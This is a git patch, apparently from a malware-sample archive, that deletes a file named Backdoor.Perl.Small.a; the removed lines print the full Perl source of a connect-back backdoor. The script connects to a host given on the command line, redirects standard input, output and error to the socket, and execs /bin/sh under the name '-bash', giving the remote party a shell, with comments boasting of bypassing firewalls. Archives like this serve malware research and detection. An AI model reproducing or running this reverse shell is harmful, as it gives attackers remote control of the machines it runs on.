From f63934fdc556e402790141cbfd6f4970d6004360 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:06:48 -0600
Subject: [PATCH] Delete Backdoor.Perl.Small.a

na
---
 Perl/Backdoor.Perl.Small.a | 46 --------------------------------------
 1 file changed, 46 deletions(-)
 delete mode 100644 Perl/Backdoor.Perl.Small.a

diff --git a/Perl/Backdoor.Perl.Small.a b/Perl/Backdoor.Perl.Small.a
deleted file mode 100644
index abfa77ac..00000000
--- a/Perl/Backdoor.Perl.Small.a
+++ /dev/null
@@ -1,46 +0,0 @@
-
-# Backdoor - Perl Connect Back Backdoor
-# Unpublished/Unreleased Source Code
-
-use Socket;
-
-print "Backdoor ! bypassing Firewalls\n\n";
-
-if (!$ARGV[0]) {
-  printf "Uso: $0 [Host] <Puerto>\n";
-  exit(1);
-}
-
-print "[*] Espere ...\n";
-
-$host = $ARGV[0];
-$port = 80;
-
-if ($ARGV[1]) {
-  $port = $ARGV[1];
-}
-
-print "[*] Conectando...\n";
-
-$proto = getprotobyname('tcp') || die("[-] Protocolo Desconocido\n");
-
-socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Error Socket\n");
-
-my $target = inet_aton($host);
-
-if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
-  die("[-] Imposible Conectar\n");
-}
-
-print "[*] Cargando Shell...\n";
-
-if (!fork( )) {
-  open(STDIN,">&SERVER");
-  open(STDOUT,">&SERVER");
-  open(STDERR,">&SERVER");
-
-  exec {'/bin/sh'} '-bash' . "\0" x 4;
-  exit(0);
-}
-
-print "[*] Cargada a joder!\n\n";
\ No newline at end of file